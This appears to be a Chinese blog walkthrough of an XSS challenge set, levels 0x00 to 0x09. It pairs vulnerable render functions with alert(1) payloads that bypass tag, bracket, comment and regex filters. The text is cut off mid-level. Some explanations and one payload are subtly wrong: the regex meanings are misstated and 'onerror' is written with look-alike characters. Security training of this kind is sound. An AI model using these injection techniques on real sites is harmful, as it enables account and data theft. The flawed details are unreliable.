【XSS】⼗九道XSS弹窗专项练习XSS专项练习
参考
项⽬外观样式
url:
st/?input=
0x00 div标签,常规插⼊
<div>可定义⽂档中的分区或节(division/section)。
<div>标签可以把⽂档分割为独⽴的、不同的部分。它可以⽤作严格的组织⼯具,并且不使⽤任何格式与其关联。如果⽤ id 或 class 来标记<div>,那么该标签的作⽤会变得更加有效。
server-code
function render (input) {
return '<div>' + input + '</div>'
}
直接常规插⼊
payload
<script>alert(1)</script>textarea中cols表示
<img src=""onerror=alert(1)>
0x01 textarea标签闭合该后插⼊
<textarea>标签定义多⾏的⽂本输⼊控件。
⽂本区中可容纳⽆限数量的⽂本,其中的⽂本的默认字体是等宽字体(通常是 Courier)。
可以通过 cols 和 rows 属性来规定 textarea 的尺⼨,不过更好的办法是使⽤ CSS 的 height 和 width 属性。
注释:在⽂本输⼊区内的⽂本⾏间,⽤ "%OD%OA" (回车/换⾏)进⾏分隔。
根据介绍,这个标签内都是⽂本内容,那么我们必须要闭合掉这个标签才能进⼀步插⼊。
server-code
function render (input) {
return '<textarea>' + input + '</textarea>'
}
payload
</textarea><script>alert(1)</script><textarea>
</textarea><img src=""onerror=alert(1)>
0x02 内容放在标签内,">闭合标签
server-code
function render (input) {
return '<input type="name"value="' + input + '">'
}
我们看到input的内容被放在了<input>标签内并作为返回值返回,我们需要闭合掉这个<input>标签。
payload
"><script>alert(1)</script>
0x03 过滤(),使⽤反单引号`
server-code
function render (input) {
const stripBracketsRe = /[()]/g
input = place(stripBracketsRe, '')
return input
}
可以看到服务器端是把//g中间的内容即[()]替换为空,过滤掉了(),我们使⽤。
反单引号:主要⽤于计算机相关领域。(⼀)反单引号是西⽅符号,主要⽤在linux的bash中。
1. 在bash中,其⽤法同$()⼀样,⽤``括起来的内容代表⼀个变量,例如echo ls 会先执⾏ ls 得到0 xx·sh 再替换原命令为:echo xx·sh 最
后执⾏的是 xx·sh
2. “`”是 MYSQL数据库的分隔符。
分隔符的加⼊可使输⼊的字符串成为有效的MYSQL分隔标识符。
⽰例:创建⼀个表名包含空格、单引号等字符串时,需要⽤ 将表名包起来,才可创建成功,否则是语法错误。
create table `t a'b`(id INT);
payload
<script>alert`1`</script>
0x04 过滤括号()和反单引号` 使⽤html实体编码来绕过
在线转换⽹站:
<img src=""onerror=alert(1)>
0x05 闭合注释符
server-code
function render (input) {
input = place(/-->/g, ' ')
return '<!-- ' + input + ' -->'
}
可以看到服务器端是把//g中间的内容即-->替换为笑脸
这⾥注释符有两种:
<!-- 注释内容 -->
<!-- 注释内容--!>
可以⽤到第⼆种注释符
--!><script>alert(1)</script>
0x06 正则过滤auto/on开头及=结尾和>换⾏绕过匹配
server-code
function render (input) {
input = place(/auto|on.*=|>/ig, '_')
return `<input value=1${input}type="text">`
}
这⾥⽤到了正则表达式过滤⽅法:
如果pattern是字符串,则仅替换第⼀个匹配项。
⽤了正则表达式来过滤,匹配了: auto 、以on开头且以=结尾的字符串和>,所以过滤了autofocus和onerror等事件, 以及防⽌input标签被闭合
但是它并没有匹配换⾏符, 可以通过换⾏来绕过匹配
注意onerror后⾯实际有⼀个回车换⾏符
type="image" src="" onerror
=alert(1)
0x07 正则匹配,空格绕过解析
server-code
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = place(stripTagsRe, '')
return `<article>${input}</article>`
}
分析此正则表达式:
const stripTagsRe = /<\/?[^>]+>/gi
这⾥分为三部分来分析: /<\/?[^>]+>/gi
1)<\/?
\转义符与/结合, 从⽽转义了/, 进⽽含义是匹配: </
再加上? (匹配前⾯的⼦表达式⼀次或多次), 所以是匹配: <;或者 </
2)[^>]+
⾸先要明⽩, 中括号的⽤法: [abc] => 匹配abc中的任意⼀个;
然后^符号的两种⽤法:
1.限定开头: ⽐如, /^A/会匹配"An e"中的A,但是不会匹配"ab A"中的A
2.取反(仅处于中括号中成⽴): ⽐如,[^a-zA-Z0-9]表⽰ “到⼀个⾮字母也⾮数字的字符”。
最后是+的含义:匹配前⾯的⼦表达式⼀次或多次。
所以,总的来说,[^>]+ 匹配了除了^的任意字符的⼀次或者多次
3)>
单纯匹配>。
总的表达式就是,匹配: </ 任意字符 >, ⽽且 /i 过滤了⼤⼩写
html的单标签也可以解析,后⾯+空格
<img src="" οnerrοr=alert(1)
0x08 换⾏或空格绕过正则匹配
server-code
function render (src) {
src = place(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
可以加⼀个空格</style >,造成正则逃逸
payload
</style ><script>alert(1)</script>
借鉴0x06没有匹配换⾏符,换号绕过正则。必须在style后换⾏。
payload
</style
>
<script>alert(1)</script>
0x09 let 声明,st()正则⽩名单server-code
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论